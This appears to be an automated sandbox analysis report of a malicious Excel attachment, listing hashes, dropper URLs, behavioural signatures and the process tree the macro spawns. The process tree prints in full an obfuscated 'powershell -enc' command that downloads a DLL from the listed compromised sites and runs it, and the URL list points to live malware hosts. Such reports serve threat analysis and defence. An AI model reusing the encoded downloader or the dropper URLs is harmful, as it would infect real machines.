Analysis
- max time kernel
36s - max time network
44s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
31/01/2022, 16:54
Static task
static1
Behavioral task
behavioral1
Sample
attachments239773.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
attachments239773.xls
Resource
win10v2004-en-20220113
General
- Target attachments239773.xls
- Size 134KB
- Sample220131-vemfmaafb9
- SHA256 ab90ee4eaeea25da435ba296d641bbbae5130d2a117acf3990268b3b5353659c
- MD5 83506ffe307d66ccb97bb2909c78d59d
- SHA1 74d821383dd0126cee21caf6810dc981b271374c
- SHA512 a59fa8a79d192da96883d4fb1b79d668e0d1888f3f8c43eab70ac60323f07b475ae5371e9e33a999c3234025ae75b0a35316136225be4bca09ebcea82a96e203
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://tastedonline.com/cgi-bin/14Lg3P2Dt3rqBmaYZO/
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exe.dropper
http://store.anicyber.com/wp-content/0JIWtpJt681mQ/
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exe.dropper
http://jeffreylubin.igclout.com/wp-admin/gJ5oDbi/
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exe.dropper
https://dulichkhampha24.net/wp-content/rPThO/
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exe.dropper
http://dev.learncaraudio.com/wp-admin/ZIwWVcNiED4JYqnq/
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exe.dropper
http://karensgardentips.com/cgi-bin/w9i3PIVDOJDeF095ST/
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exe.dropper
http://stancewheels.com/wp-admin/ur031GNgTubBSslqN/
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exe.dropper
http://laohange.com/wp-content/brPqH/
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exe.dropper
http://139.99.89.211/wp-admin/VM1HRb3b0MGGdp/
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exe.dropper
http://onexone.elementor.cloud/cdrxhrt/632SFiWmT1Y/
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exe.dropper
https://lastregaristorante.com/wp-admin/vkXFRVu/
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exe.dropper
http://sellin.app/wp-admin/0W4AcWvFkHkV/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4536 2880 cmd.exe 81 - Sets service image path in registry 2 TTPs
- Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies data under HKEY_USERS 41 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2880 EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeShutdownPrivilege 1916 svchost.exe Token: SeCreatePagefilePrivilege 1916 svchost.exe Token: SeShutdownPrivilege 1916 svchost.exe Token: SeCreatePagefilePrivilege 1916 svchost.exe Token: SeShutdownPrivilege 1916 svchost.exe Token: SeCreatePagefilePrivilege 1916 svchost.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE 2880 EXCEL.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2880 wrote to memory of 4536 2880 EXCEL.EXE 89 PID 2880 wrote to memory of 4536 2880 EXCEL.EXE 89 PID 4536 wrote to memory of 884 4536 cmd.exe 91 PID 4536 wrote to memory of 884 4536 cmd.exe 91 PID 4536 wrote to memory of 1880 4536 cmd.exe 96 PID 4536 wrote to memory of 1880 4536 cmd.exe 96
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\attachments239773.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:884
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A3⤵PID:1880
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 94bfdd61bc747b7a33c35b5ac0cc4367 r2dtYM9WgUOnPFR7WjSYAA.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:4796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1916